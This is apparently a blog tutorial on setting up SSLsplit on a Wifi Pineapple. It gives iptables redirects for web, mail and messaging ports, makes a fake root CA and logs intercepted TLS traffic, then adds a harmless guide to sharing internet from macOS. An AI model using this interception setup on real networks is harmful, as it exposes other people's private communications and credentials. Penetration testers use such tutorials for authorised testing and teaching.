Wifi Pineapple and SSLsplit

Many people complain about that they are not able to run SSLsplit on Wifi Pineapple. As you may know from my previous Pineapple tutorials, I will try to explain the solution now, without the usage of any additional module. All needed steps for installation, configuration and execution need the enabled internet sharing!

Objectives

In this example you will learn how to setup and run SSLsplit on Wifi Pineapple.

Step 1: install needed packages

SSH into Wifi Pineapple device and install all needed software with Opkg Package Manager.

# update list of available packages
$ opkg update

# install needed packages
$ opkg install sslsplit
$ opkg install openssl-util
$ opkg install libevent2
$ opkg install libevent2-core
$ opkg install libevent2-extra
$ opkg install libevent2-openssl
$ opkg install libevent2-pthreads

Step 2: create directories and configurations

Like the module would create directories and configuration files, we do exactly the same. So we could install the module later, too.

# create need folders
$ mkdir -p /pineapple/modules/SSLsplit/cert
$ mkdir -p /pineapple/modules/SSLsplit/rules
$ mkdir -p /pineapple/modules/SSLsplit/log

# create iptables and openssl.cnf files
$ vi /pineapple/modules/SSLsplit/rules/iptables
$ vi /pineapple/modules/SSLsplit/cert/openssl.cnf

# create sslsplit configuration
$ touch /etc/config/sslsplit

# add content
$ echo "config sslsplit 'module'" > /etc/config/sslsplit

# check if ip4 forward is enabled
$ cat /proc/sys/net/ipv4/ip_forward

# enable ip4 forward (if not enabled)
$ echo '1' > /proc/sys/net/ipv4/ip_forward

# show help (optional)
$ sslsplit -h

The content of iptables

##################################################################
# Certain packets are redirected to the local port 8080 and 8443 #
##################################################################

## Plain text HTTP traffic (80) is redirected to port 8080
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

## WhatsApp (5222) is redirected to port 8080
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

## SSL-based HTTPS traffic (443) is redirected to port 8443
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

## IMAP over SSL (993), SMTP over SSL (465 and 587) is redirected to port 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443

The content of openssl.cnf

#
# OpenSSL configuration file.
#

dir						= .

[ req ]
distinguished_name = reqdn

[ reqdn ]

[ v3_ca ]
basicConstraints        = CA:TRUE
subjectKeyIdentifier    = hash
authorityKeyIdentifier  = keyid:always,issuer:always

Step 3: generate needed certificates

# generate an RSA private key
$ openssl genrsa -out /pineapple/modules/SSLsplit/cert/certificate.key 1024

# generat PKCS#10 certificate
$ openssl req -new -nodes -x509 -sha1 -out /pineapple/modules/SSLsplit/cert/certificate.crt -key /pineapple/modules/SSLsplit/cert/certificate.key -config /pineapple/modules/SSLsplit/cert/openssl.cnf -extensions v3_ca -subj '/O=SSLsplit Root CA/CN=SSLsplit Root CA/' -set_serial 0 -days 3650

# verify files generated (optional)
$ ls -la /pineapple/modules/SSLsplit/cert/

Step 4: finalize installation and configuration

These steps are optional but are recommended.

# set UCI values
$ uci set sslsplit.module.installed=1

# write UCI changes
$ uci commit sslsplit.module.installed

# show UCI configuration (optional)
$ uci show sslsplit

# reboot wifi pineapple device
$ reboot

Step 5: set iptables

The following content describes how you need to configure the iptables before you start SSLsplit.

# save current iptables rules
$ iptables-save > /pineapple/modules/SSLsplit/rules/saved

# clean iptables
$ iptables -X
$ iptables -F
$ iptables -t nat -F
$ iptables -P INPUT ACCEPT
$ iptables -P FORWARD ACCEPT
$ iptables -P OUTPUT ACCEPT

# add rules
$ sh /pineapple/modules/SSLsplit/rules/iptables

$ iptables -t nat -A POSTROUTING -j MASQUERADE

Step 6: run SSLsplit

# execute sslsplit
$ sslsplit -D -l /pineapple/modules/SSLsplit/connections.log -L /pineapple/modules/SSLsplit/log/output.log -k /pineapple/modules/SSLsplit/cert/certificate.key -c /pineapple/modules/SSLsplit/cert/certificate.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

# tail log files (optional)
$ tail -f /pineapple/modules/SSLsplit/connections.log /pineapple/modules/SSLsplit/log/output.log

Step 7: restore iptables

After you’r done, the following content show how to restore the iptables.

# clean iptables
$ iptables -F
$ iptables -X
$ iptables -t nat -F
$ iptables -t nat -X
$ iptables -t mangle -F
$ iptables -t mangle -X
$ iptables -P INPUT ACCEPT
$ iptables -P FORWARD ACCEPT
$ iptables -P OUTPUT ACCEPT

# restore iptables rules
$ iptables-restore < /pineapple/modules/SSLsplit/rules/saved

Share internet from macOS to Wifi Pineapple

I have been using the Wifi Pineapple Nano by Hak5 for a long time. What can I say – very, very cool tiny device. Since I am also a macOS user, I would like to show in this tutorial how I share my internet (Wifi to USB). There are various options but with this I have currently achieved the best results.

Important: You should carry out all firmware upgrades beforehand, since the settings (which I will show you soon) will be overwritten again.

Objectives

I would like to connect my Macbook to the Internet via WiFi and then make it available to the Wifi Pineapple via USB. So here both devices should be able to use the Internet without network conflicts.

Change Wifi Pineapple network

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple device via SSH
$ ssh root@172.16.42.1

# backup network file
$ cp /etc/config/network /etc/config/network.bak

# show all settings (optional)
$ uci show

# show network settings (optional)
$ uci show network

# change ip with UCI configuration tool
$ uci set network.lan.ipaddr='192.168.2.10'

# change gateway with UCI configuration tool
$ uci set network.lan.gateway='192.168.2.1'

# save changes
$ uci commit

# reboot device
$ reboot

The first steps of the configuration have been carried out. However, you still cannot connect to the device or share the internet!

Modify macOS network configuration

Now you have to configure the macos network dhcp with manual address (network.lan.gateway 192.168.2.1). To do this, open the network settings and select the Wifi Pineapple (AX88x72A). Select “DHCP with manual address” in the dropdown and assign the IP (next to Configure IPv4).

Configure device as DHCP with manual address.

You should also change the arrangement of your available network connections (devices). Click the gear icon and select “Set Service Order”. At the top should be the standard wifi followed by Wifi Pineapple.

set service order

After a short time, the settings should have been accepted.

Wifi to USB internet sharing

Now we are making the internet available from Wifi to Wifi Pineapple (USB). Launch Internet Sharing under System Preferences. On “Share your connection from” select the Wifi and on “To computers using” select the Wifi Pineapple.

share internet from Wifi to USB

Done … let’s verify all configurations.

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple via SSH
$ ssh root@192.168.2.10

# run simple ping (optional)
$ ping -c 1 google.com

# exit SSH connection to Pineapple
$ exit

# open browser
$ open http://192.168.2.10:1471

Note: The Browser URL is now http://192.168.2.10:1471 (network.lan.ipaddr 192.168.2.10)!

After login you can go to the Dashboard and check “Bulletins” which should show the latest news from wifipineapple.com.